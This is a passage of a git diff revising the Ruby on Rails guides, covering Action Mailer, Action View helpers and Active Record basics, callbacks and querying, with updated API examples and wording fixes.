Found", status: 404 - end + def record_not_found + render plain: "404 Not Found", status: 404 + end end ``` @@ -976,10 +1140,10 @@ class ApplicationController < ActionController::Base private - def user_not_authorized - flash[:error] = "You don't have access to this section." - redirect_to :back - end + def user_not_authorized + flash[:error] = "You don't have access to this section." + redirect_to :back + end end class ClientsController < ApplicationController @@ -993,10 +1157,10 @@ class ClientsController < ApplicationController private - # If the user is not authorized, just throw the exception. - def check_authorization - raise User::NotAuthorized unless current_user.admin? - end + # If the user is not authorized, just throw the exception. + def check_authorization + raise User::NotAuthorized unless current_user.admin? + end end ``` diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md index d1dd231cf6..6dc7fb1606 100644 --- a/guides/source/action_mailer_basics.md +++ b/guides/source/action_mailer_basics.md @@ -105,7 +105,7 @@ will be the template used for the email, formatted in HTML: <h1>Welcome to example.com, <%= @user.name %></h1> <p> You have successfully signed up to example.com, - your username is: <%= @user.login %>.<br/> + your username is: <%= @user.login %>.<br> </p> <p> To login to the site, just follow this link: <%= @url %>. @@ -138,7 +138,7 @@ When you call the `mail` method now, Action Mailer will detect the two templates Mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the -Email protocols instead. Due to this, it makes sense to just have your +email protocols instead. Due to this, it makes sense to just have your controller tell the Mailer to send an email when a user is successfully created. Setting this up is painfully simple. @@ -164,7 +164,7 @@ class UsersController < ApplicationController respond_to do |format| if @user.save - # Tell the UserMailer to send a welcome Email after save + # Tell the UserMailer to send a welcome email after save UserMailer.welcome_email(@user).deliver format.html { redirect_to(@user, notice: 'User was successfully created.') } @@ -216,6 +216,11 @@ Action Mailer makes it very easy to add attachments. attachments['filename.jpg'] = File.read('/path/to/filename.jpg') ``` + When the `mail` method will be triggered, it will send a multipart email with + an attachment, properly nested with the top level being `multipart/mixed` and + the first part being a `multipart/alternative` containing the plain text and + HTML email messages. + NOTE: Mail will automatically Base64 encode an attachment. If you want something different, encode your content and pass in the encoded content and encoding in a `Hash` to the `attachments` method. @@ -373,7 +378,7 @@ Just like with controller views, use `yield` to render the view inside the layout. You can also pass in a `layout: 'layout_name'` option to the render call inside -the format block to specify different layouts for different actions: +the format block to specify different layouts for different formats: ```ruby class UserMailer < ActionMailer::Base @@ -451,26 +456,6 @@ with the HTML and text versions setup as different parts. The order of the parts getting inserted is determined by the `:parts_order` inside of the `ActionMailer::Base.default` method. -### Sending Emails with Attachments - -Attachments can be added by using the `attachments` method: - -```ruby -class UserMailer < ActionMailer::Base - def welcome_email(user) - @user = user - @url = user_url(@user) - attachments['terms.pdf'] = File.read('/path/terms.pdf') - mail(to: @user.email, - subject: 'Please see the Terms and Conditions attached') - end -end -``` - -The above will send a multipart email with an attachment, properly nested with -the top level being `multipart/mixed` and the first part being a -`multipart/alternative` containing the plain text and HTML email messages. - ### Sending Emails with Dynamic Delivery Options If you wish to override the default delivery options (e.g. SMTP credentials) @@ -532,7 +517,7 @@ method. Here's an example: ```ruby class UserMailer < ActionMailer::Base def receive(email) - page = Page.find_by_address(email.to.first) + page = Page.find_by(address: email.to.first) page.emails.create( subject: email.subject, body: email.body @@ -584,25 +569,25 @@ class UserMailer < ActionMailer::Base private - def set_delivery_options - # You have access to the mail instance, - # @business and @user instance variables here - if @business && @business.has_smtp_settings? - mail.delivery_method.settings.merge!(@business.smtp_settings) + def set_delivery_options + # You have access to the mail instance, + # @business and @user instance variables here + if @business && @business.has_smtp_settings? + mail.delivery_method.settings.merge!(@business.smtp_settings) + end end - end - def prevent_delivery_to_guests - if @user && @user.guest? - mail.perform_deliveries = false + def prevent_delivery_to_guests + if @user && @user.guest? + mail.perform_deliveries = false + end end - end - def set_business_headers - if @business - headers["X-SMTPAPI-CATEGORY"] = @business.code + def set_business_headers + if @business + headers["X-SMTPAPI-CATEGORY"] = @business.code + end end - end end ``` @@ -626,7 +611,7 @@ files (environment.rb, production.rb, etc...) |`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>| |`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>| |`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.| -|`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.| +|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.| |`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| |`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| |`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).| @@ -654,8 +639,8 @@ config.action_mailer.default_options = {from: 'no-reply@example.com'} ### Action Mailer Configuration for Gmail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your -`config/environments/$RAILS_ENV.rb` file: +As Action Mailer now uses the [Mail gem](https://github.com/mikel/mail), this +becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file: ```ruby config.action_mailer.delivery_method = :smtp diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md index b3fc61f386..74f95bfcfd 100644 --- a/guides/source/action_view_overview.md +++ b/guides/source/action_view_overview.md @@ -68,7 +68,7 @@ Consider the following loop for names: ```html+erb <h1>Names of all the people</h1> <% @people.each do |person| %> - Name: <%= person.name %><br/> + Name: <%= person.name %><br> <% end %> ``` @@ -152,7 +152,7 @@ By default, Rails will compile each template to a method in order to render it. ### Partials -Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates. +Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates. #### Naming Partials @@ -262,14 +262,14 @@ Rails determines the name of the partial to use by looking at the model name in You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option: ```erb -<%= render @products, spacer_template: "product_ruler" %> +<%= render partial: @products, spacer_template: "product_ruler" %> ``` Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials. ### Layouts -Layouts can be used to render a common view template around the results of Rails controller actions. Typically, every Rails has a couple of overall layouts that most pages are rendered within. For example, a site might have a layout for a logged in user, and a layout for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us." You would expect each layout to have a different look and feel. You can read more details about Layouts in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide. +Layouts can be used to render a common view template around the results of Rails controller actions. Typically, every Rails application has a couple of overall layouts that most pages are rendered within. For example, a site might have a layout for a logged in user, and a layout for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us." You would expect each layout to have a different look and feel. You can read more details about Layouts in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide. Partial Layouts --------------- @@ -464,7 +464,7 @@ stylesheet_link_tag :monkey # => #### auto_discovery_link_tag -Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed. +Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed. ```ruby auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # => @@ -775,8 +775,8 @@ select_day(5) Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. ```ruby -# Generates a select field for minutes that defaults to the minutes for the time provided -select_minute(Time.now + 6.hours) +# Generates a select field for hours that defaults to the hours for the time provided +select_hour(Time.now + 6.hours) ``` #### select_minute @@ -941,9 +941,9 @@ Creates a form and a scope around a specific model object that is used as a base ```html+erb <%= form_for @post do |f| %> <%= f.label :title, 'Title' %>: - <%= f.text_field :title %><br /> + <%= f.text_field :title %><br> <%= f.label :body, 'Body' %>: - <%= f.text_area :body %><br /> + <%= f.text_area :body %><br> <% end %> ``` @@ -1006,6 +1006,24 @@ text_field(:post, :title) # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" /> ``` +#### email_field + +Returns an input tag of the "email" type tailored for accessing a specified attribute. + +```ruby +email_field(:user, :email) +# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" /> +``` + +#### url_field + +Returns an input tag of the "url" type tailored for accessing a specified attribute. + +```ruby +url_field(:user, :url) +# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" /> +``` + ### FormOptionsHelper Provides a number of methods for turning different kinds of containers into a set of option tags. @@ -1125,7 +1143,7 @@ Returns a string of option tags for pretty much any country in the world. #### country_select -Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. +Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. #### option_groups_from_collection_for_select @@ -1224,7 +1242,7 @@ Returns a string of option tags for pretty much any time zone in the world. #### time_zone_select -Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. +Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. ```ruby time_zone_select( "user", "time_zone") @@ -1240,7 +1258,7 @@ date_field("user", "dob") ### FormTagHelper -Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. +Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. #### check_box_tag @@ -1267,7 +1285,7 @@ Creates a field set for grouping HTML form elements. Creates a file upload field. ```html+erb -<%= form_tag {action: "post"}, {multipart: true} do %> +<%= form_tag({action:"post"}, multipart: true) do %> <label for="file">File to Upload</label> <%= file_field_tag "file" %> <%= submit_tag %> <% end %> @@ -1372,6 +1390,24 @@ text_field_tag 'name' # => <input id="name" name="name" type="text" /> ``` +#### email_field_tag + +Creates a standard input field of email type. + +```ruby +email_field_tag 'email' +# => <input id="email" name="email" type="email" /> +``` + +#### url_field_tag + +Creates a standard input field of url type. + +```ruby +url_field_tag 'url' +# => <input id="url" name="url" type="url" /> +``` + #### date_field_tag Creates a standard input field of date type. @@ -1456,7 +1492,7 @@ number_to_human_size(1234567) # => 1.2 MB Formats a number as a percentage string. ```ruby -number_to_percentage(100, :precision => 0) # => 100% +number_to_percentage(100, precision: 0) # => 100% ``` #### number_to_phone @@ -1484,94 +1520,102 @@ number_with_precision(111.2345) # => 111.235 number_with_precision(111.2345, 2) # => 111.23 ``` -Localized Views ---------------- +### SanitizeHelper -Action View has the ability render different templates depending on the current locale. +The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements. -For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. +#### sanitize -You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. +This sanitize helper will html encode all tags and strip all attributes that aren't specifically allowed. -Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`: +```ruby +sanitize @article.body +``` + +If either the :attributes or :tags options are passed, only the mentioned tags and attributes are allowed and nothing else. ```ruby -before_action :set_expert_locale +sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) +``` -def set_expert_locale - I18n.locale = :expert if current_user.expert? +To change defaults for multiple uses, for example adding table tags to the default: + +```ruby +class Application < Rails::Application + config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td' end ``` -Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users. +#### sanitize_css(style) -You can read more about the Rails Internationalization (I18n) API [here](i18n.html). +Sanitizes a block of CSS code. -Using Action View outside of Rails ----------------------------------- +#### strip_links(html) +Strips all link tags from text leaving just the link text. -Action View is a Rails component, but it can also be used without Rails. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application. +```ruby +strip_links("<a href="http://rubyonrails.org">Ruby on Rails</a>") +# => Ruby on Rails +``` -Let's start by ensuring that you have the Action Pack and Rack gems installed: +```ruby +strip_links("emails to <a href="mailto:me@email.com">me@email.com</a>.") +# => emails to me@email.com. +``` -```bash -$ gem install actionpack -$ gem install rack +```ruby +strip_links('Blog: <a href="http://myblog.com/">Visit</a>.') +# => Blog: Visit. ``` -Now we'll create a simple "Hello World" application that uses the `titleize` method provided by Active Support. +#### strip_tags(html) -**hello_world.rb:** +Strips all HTML tags from the html, including comments. +This uses the html-scanner tokenizer and so its HTML parsing ability is limited by that of html-scanner. ```ruby -require 'active_support/core_ext/string/inflections' -require 'rack' - -def hello_world(env) - [200, {"Content-Type" => "text/html"}, "hello world".titleize] -end +strip_tags("Strip <i>these</i> tags!") +# => Strip these tags! +``` -Rack::Handler::Mongrel.run method(:hello_world), Port: 4567 +```ruby +strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</a>") +# => Bold no more! See more ``` -We can see this all come together by starting up the application and then visiting `http://localhost:4567/` +NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers. -```bash -$ ruby hello_world.rb -``` +### CsrfHelper -TODO needs a screenshot? I have one - not sure where to put it. +Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site +request forgery protection parameter and token, respectively. + +```html +<%= csrf_meta_tags %> +``` -Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method. +NOTE: Regular forms generate hidden fields so they do not use these tags. More +details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf). -Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way. +Localized Views +--------------- -Let's start by ensuring that you have the Action Pack and Sinatra gems installed: +Action View has the ability render different templates depending on the current locale. -```bash -$ gem install actionpack -$ gem install sinatra -``` +For example, suppose you have a `PostsController` with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. -Now we'll create the same "Hello World" application in Sinatra. +You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. -**hello_world.rb:** +Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`: ```ruby -require 'action_view' -require 'sinatra' +before_action :set_expert_locale -get '/' do - erb 'hello world'.titleize +def set_expert_locale + I18n.locale = :expert if current_user.expert? end ``` -Then, we can run the application: - -```bash -$ ruby hello_world.rb -``` - -Once the application is running, you can see Sinatra and Action View working together by visiting `http://localhost:4567/` +Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users. -TODO needs a screenshot? I have one - not sure where to put it. +You can read more about the Rails Internationalization (I18n) API [here](i18n.html). diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md index 1d87646e49..0019d08328 100644 --- a/guides/source/active_model_basics.md +++ b/guides/source/active_model_basics.md @@ -120,8 +120,8 @@ class Person end def save - @previously_changed = changes # do save work... + changes_applied end end ``` diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md index 1f25c6ae95..a184f0753d 100644 --- a/guides/source/active_record_basics.md +++ b/guides/source/active_record_basics.md @@ -48,10 +48,10 @@ overall database access code. Active Record gives us several mechanisms, the most important being the ability to: -* Represent models and their data -* Represent associations between these models -* Represent inheritance hierarchies through related models -* Validate models before they get persisted to the database +* Represent models and their data. +* Represent associations between these models. +* Represent inheritance hierarchies through related models. +* Validate models before they get persisted to the database. * Perform database operations in an object-oriented fashion. Convention over Configuration in Active Record @@ -78,15 +78,15 @@ of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., `book_clubs`) +* Database Table - Plural with underscores separating words (e.g., `book_clubs`). * Model Class - Singular with the first letter of each word capitalized (e.g., -`BookClub`) +`BookClub`). | Model / Class | Table / Schema | | ------------- | -------------- | | `Post` | `posts` | | `LineItem` | `line_items` | -| `Deer` | `deer` | +| `Deer` | `deers` | | `Mouse` | `mice` | | `Person` | `people` | @@ -101,11 +101,11 @@ depending on the purpose of these columns. fields that Active Record will look for when you create associations between your models. * **Primary keys** - By default, Active Record will use an integer column named - `id` as the table's primary key. When using [Rails + `id` as the table's primary key. When using [Active Record Migrations](migrations.html) to create your tables, this column will be automatically created. -There are also some optional column names that will create additional features +There are also some optional column names that will add additional features to Active Record instances: * `created_at` - Automatically gets set to the current date and time when the @@ -116,7 +116,7 @@ to Active Record instances: locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a model. * `type` - Specifies that the model uses [Single Table - Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html) + Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#label-Single+table+inheritance). * `(association_name)_type` - Stores the type for [polymorphic associations](association_basics.html#polymorphic-associations). * `(table_name)_count` - Used to cache the number of belonging objects on @@ -181,18 +181,18 @@ definition: ```ruby class FunnyJoke < ActiveSupport::TestCase - set_fixture_class funny_jokes: 'Joke' + set_fixture_class funny_jokes: Joke fixtures :funny_jokes ... end ``` It's also possible to override the column that should be used as the table's -primary key using the `ActiveRecord::Base.set_primary_key` method: +primary key using the `ActiveRecord::Base.primary_key=` method: ```ruby class Product < ActiveRecord::Base - set_primary_key "product_id" + self.primary_key = "product_id" end ``` @@ -253,7 +253,7 @@ user = User.first ```ruby # return the first user named David -david = User.find_by_name('David') +david = User.find_by(name: 'David') ``` ```ruby @@ -270,7 +270,7 @@ Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database. ```ruby -user = User.find_by_name('David') +user = User.find_by(name: 'David') user.name = 'Dave' user.save ``` @@ -279,7 +279,7 @@ A shorthand for this is to use a hash mapping attribute names to the desired value, like so: ```ruby -user = User.find_by_name('David') +user = User.find_by(name: 'David') user.update(name: 'Dave') ``` @@ -297,7 +297,7 @@ Likewise, once retrieved an Active Record object can be destroyed which removes it from the database. ```ruby -user = User.find_by_name('David') +user = User.find_by(name: 'David') user.destroy ``` @@ -343,7 +343,7 @@ Migrations Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any -database that Active Record support using `rake`. Here's a migration that +database that Active Record supports using `rake`. Here's a migration that creates a table: ```ruby @@ -368,6 +368,6 @@ Rails keeps track of which files have been committed to the database and provides rollback features. To actually create the table, you'd run `rake db:migrate` and to roll it back, `rake db:rollback`. -Note that the above code is database-agnostic: it will run in MySQL, postgresql, -Oracle and others. You can learn more about migrations in the [Active Record -Migrations guide](migrations.html) +Note that the above code is database-agnostic: it will run in MySQL, +PostgreSQL, Oracle and others. You can learn more about migrations in the +[Active Record Migrations guide](migrations.html). diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md index bb42fab101..fbcce325ed 100644 --- a/guides/source/active_record_callbacks.md +++ b/guides/source/active_record_callbacks.md @@ -35,11 +35,11 @@ class User < ActiveRecord::Base before_validation :ensure_login_has_a_value protected - def ensure_login_has_a_value - if login.nil? - self.login = email unless email.blank? + def ensure_login_has_a_value + if login.nil? + self.login = email unless email.blank? + end end - end end ``` @@ -49,13 +49,13 @@ The macro-style class methods can also receive a block. Consider using this styl class User < ActiveRecord::Base validates :login, :email, presence: true - before_create do |user| - user.name = user.login.capitalize if user.name.blank? + before_create do + self.name = login.capitalize if name.blank? end end ``` -Callbacks can also be registered to only fire on certain lifecycle events: +Callbacks can also be registered to only fire on certain life cycle events: ```ruby class User < ActiveRecord::Base @@ -65,13 +65,13 @@ class User < ActiveRecord::Base after_validation :set_location, on: [ :create, :update ] protected - def normalize_name - self.name = self.name.downcase.titleize - end + def normalize_name + self.name = self.name.downcase.titleize + end - def set_location - self.location = LocationService.query(self) - end + def set_location + self.location = LocationService.query(self) + end end ``` @@ -92,6 +92,7 @@ Here is a list with all the available Active Record callbacks, listed in the sam * `around_create` * `after_create` * `after_save` +* `after_commit/after_rollback` ### Updating an Object @@ -103,12 +104,14 @@ Here is a list with all the available Active Record callbacks, listed in the sam * `around_update` * `after_update` * `after_save` +* `after_commit/after_rollback` ### Destroying an Object * `before_destroy` * `around_destroy` * `after_destroy` +* `after_commit/after_rollback` WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed. @@ -141,6 +144,55 @@ You have initialized an object! => #<User id: 1> ``` +### `after_touch` + +The `after_touch` callback will be called whenever an Active Record object is touched. + +```ruby +class User < ActiveRecord::Base + after_touch do |user| + puts "You have touched an object" + end +end + +>> u = User.create(name: 'Kuldeep') +=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49"> + +>> u.touch +You have touched an object +=> true +``` + +It can be used along with `belongs_to`: + +```ruby +class Employee < ActiveRecord::Base + belongs_to :company, touch: true + after_touch do + puts 'An Employee was touched' + end +end + +class Company < ActiveRecord::Base + has_many :employees + after_touch :log_when_employees_or_company_touched + + private + def log_when_employees_or_company_touched + puts 'Employee/Company was touched' + end +end + +>> @employee = Employee.last +=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05"> + +# triggers @employee.company.touch +>> @employee.touch +Employee/Company was touched +An Employee was touched +=> true +``` + Running Callbacks ----------------- @@ -167,6 +219,7 @@ Additionally, the `after_find` callback is triggered by the following finder met * `all` * `first` * `find` +* `find_by` * `find_by_*` * `find_by_*!` * `find_by_sql` @@ -179,7 +232,7 @@ NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated aut Skipping Callbacks ------------------ -Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. +Just as with validations, it is also possible to skip callbacks by using the following methods: * `decrement` * `decrement_counter` @@ -194,6 +247,8 @@ Just as with validations, it is also possible to skip callbacks. These methods s * `update_all` * `update_counters` +These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. + Halting Execution ----------------- @@ -201,7 +256,7 @@ As you start registering new callbacks for your models, they will be queued for The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Any exception that is not `ActiveRecord::Rollback` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception. Relational Callbacks -------------------- @@ -287,7 +342,7 @@ Here's an example where we create a class with an `after_destroy` callback for a ```ruby class PictureFileCallbacks def after_destroy(picture_file) - if File.exists?(picture_file.filepath) + if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end @@ -307,7 +362,7 @@ Note that we needed to instantiate a new `PictureFileCallbacks` object, since we ```ruby class PictureFileCallbacks def self.after_destroy(picture_file) - if File.exists?(picture_file.filepath) + if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end @@ -342,7 +397,7 @@ By using the `after_commit` callback we can account for this case. ```ruby class PictureFile < ActiveRecord::Base - after_commit :delete_picture_file_from_disk, :on => [:destroy] + after_commit :delete_picture_file_from_disk, on: [:destroy] def delete_picture_file_from_disk if File.exist?(filepath) @@ -355,4 +410,4 @@ end NOTE: the `:on` option specifies when a callback will be fired. If you don't supply the `:on` option the callback will fire for every action. -The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. +WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md index 407e779f9f..2a76df156c 100644 --- a/guides/source/active_record_querying.md +++ b/guides/source/active_record_querying.md @@ -436,7 +436,7 @@ to this code: Client.where("orders_count = #{params[:orders]}") ``` -because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection). @@ -473,7 +473,7 @@ In the case of a belongs_to relationship, an association key can be used to spec ```ruby Post.where(author: author) -Author.joins(:posts).where(posts: {author: author}) +Author.joins(:posts).where(posts: { author: author }) ``` NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`. @@ -524,12 +524,18 @@ To retrieve records from the database in a specific order, you can use the `orde For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table: ```ruby +Client.order(:created_at) +# OR Client.order("created_at") ``` You could specify `ASC` or `DESC` as well: ```ruby +Client.order(created_at: :desc) +# OR +Client.order(created_at: :asc) +# OR Client.order("created_at DESC") # OR Client.order("created_at ASC") @@ -538,16 +544,20 @@ Client.order("created_at ASC") Or ordering by multiple fields: ```ruby +Client.order(orders_count: :asc, created_at: :desc) +# OR +Client.order(:orders_count, created_at: :desc) +# OR Client.order("orders_count ASC, created_at DESC") # OR Client.order("orders_count ASC", "created_at DESC") ``` -If you want to call `order` multiple times e.g. in different context, new order will prepend previous one +If you want to call `order` multiple times e.g. in different context, new order will append previous one ```ruby Client.order("orders_count ASC").order("created_at DESC") -# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC +# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC ``` Selecting Specific Fields @@ -675,9 +685,9 @@ This will return single order objects for each day, but only those that are orde Overriding Conditions --------------------- -### `except` +### `unscope` -You can specify certain conditions to be excepted by using the `except` method. For example: +You can specify certain conditions to be removed using the `unscope` method. For example: ```ruby Post.where('id > 10').limit(20).order('id asc').except(:order) @@ -688,30 +698,24 @@ The SQL that would be executed: ```sql SELECT * FROM posts WHERE id > 10 LIMIT 20 -# Original query without `except` +# Original query without `unscope` SELECT * FROM posts WHERE id > 10 ORDER BY id asc LIMIT 20 ``` -### `unscope` - -The `except` method does not work when the relation is merged. For example: - -```ruby -Post.comments.except(:order) -``` - -will still have an order if the order comes from a default scope on Comment. In order to remove all ordering, even from relations which are merged in, use unscope as follows: +You can additionally unscope specific where clauses. For example: ```ruby -Post.order('id DESC').limit(20).unscope(:order) = Post.limit(20) -Post.order('id DESC').limit(20).unscope(:order, :limit) = Post.all +Post.where(id: 10, trashed: false).unscope(where: :id) +# SELECT "posts".* FROM "posts" WHERE trashed = 0 ``` -You can additionally unscope specific where clauses. For example: +A relation which has used `unscope` will affect any relation it is +merged in to: ```ruby -Post.where(:id => 10).limit(1).unscope(where: :id, :limit).order('id DESC') = Post.order('id DESC') +Post.order('id asc').merge(Post.unscope(:order)) +# SELECT "posts".* FROM "posts" ``` ### `only` @@ -786,6 +790,32 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC This method accepts **no** arguments. +### `rewhere` + +The `rewhere` method overrides an existing, named where condition. For example: + +```ruby +Post.where(trashed: true).rewhere(trashed: false) +``` + +The SQL that would be executed: + +```sql +SELECT * FROM posts WHERE `trashed` = 0 +``` + +In case the `rewhere` clause is not used, + +```ruby +Post.where(trashed: true).where(trashed: false) +``` + +the SQL executed would be: + +```sql +SELECT * FROM posts WHERE `trashed` = 1 AND `trashed` = 0 +``` + Null Relation ------------- @@ -931,9 +961,9 @@ SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = WARNING: This method only works with `INNER JOIN`. -Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method. +Active Record lets you use the 